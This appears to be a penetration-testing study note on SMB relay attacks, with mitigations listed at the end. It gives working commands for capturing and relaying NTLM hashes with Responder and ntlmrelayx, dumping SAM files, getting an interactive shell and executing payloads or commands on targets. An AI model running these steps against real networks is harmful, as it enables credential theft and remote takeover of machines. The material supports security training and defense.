SMB Relay

What is SMB Relay?

• Instead of cracking hashes gathered from Responder, we can instead relay the hashes to specific machines and maybe gain access

• Requirements

  • SMB signing must be disabled on the target

  • Relayed user credentials must be admin on machine

Attack Procedure

• Configure Responder (/etc/responder/Responder.conf) to only capture SMB and HTTP requests but not responding to them.

# Check for SMB signing disabled 
nmap --script=smb2-security-mode.nse -p 445 IP_SUBNET 

# Configure responder - turn off SMB and HTTP responses 
nano /etc/responder/Responder.conf

# Start responder 
responder -I eth0 -dwv

# Setup Relay 
python ntlmrelayx.py -tf targets.txt -smb2support

# Attempt to add SMB share using attacking IP 
\\ATTACKING_IP 

# Dump the SAM file

# Command to get an interactive smb shell 
ntlmrelayx.py -tf targets.txt -smb2support -i

# Once you get an smb interactive shell you have a lot of control 

# Additional commands 
# Generate a msfvenom payload to be executed and use multi/handler in metasploit to create a meterpreter listener 
ntlmrelayx.py -tf targets.txt -smb2support -e payload.exe 

# Executes command when you run it - think powershell
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

SMB Relay Setup

SAM file dump

SMB Interactive Shell

Mitigation Strategies

• Enable SMB Signing on all devices

  • Pro: Completely stops the attack

  • Con: Can cause performance issues with file copies

• Disable NTLM authentication on network

  • Pro: Completely stops the attack

  • Con: If Kerberos stops working, Windows defaults back to NTLM

• Account tiering:

  • Pro: Limits domain admins to specific tasks (only log onto servers with need for DA)

  • Con: Enforcing the policy may be difficult

• Local admin restriction:

  • Pro: Can prevent a lot of lateral movement

  • Con: Potential increase in the amount of service desk tickets